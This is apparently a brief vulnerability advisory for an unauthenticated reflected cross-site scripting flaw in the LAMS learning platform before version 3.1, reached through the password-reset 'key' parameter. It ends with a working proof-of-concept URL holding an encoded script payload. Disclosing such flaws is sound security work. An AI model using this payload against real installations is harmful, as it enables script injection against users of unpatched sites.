# Vendor Description:
# LAMS is a revolutionary new tool for designing, managing and delivering online collaborative
# learning activities. It provides teachers with a highly intuitive visual authoring
# environment for creating sequences of learning activities.

# Technical Details and Exploitation:
# There is unauthenticated reflected cross-site scripting (XSS) in LAMS before 3.1 that allows
# a remote attacker to introduce arbitrary JavaScript via manipulation of an unsanitized GET
# parameter during a forgotPasswordChange.jsp?key= password change.

# Proof of Concept:
http://localhost:8080/lams/forgotPasswordChange.jsp?key=%22%3E%3Cimg%20src=x%20onerror=alert(document.domain)%3E
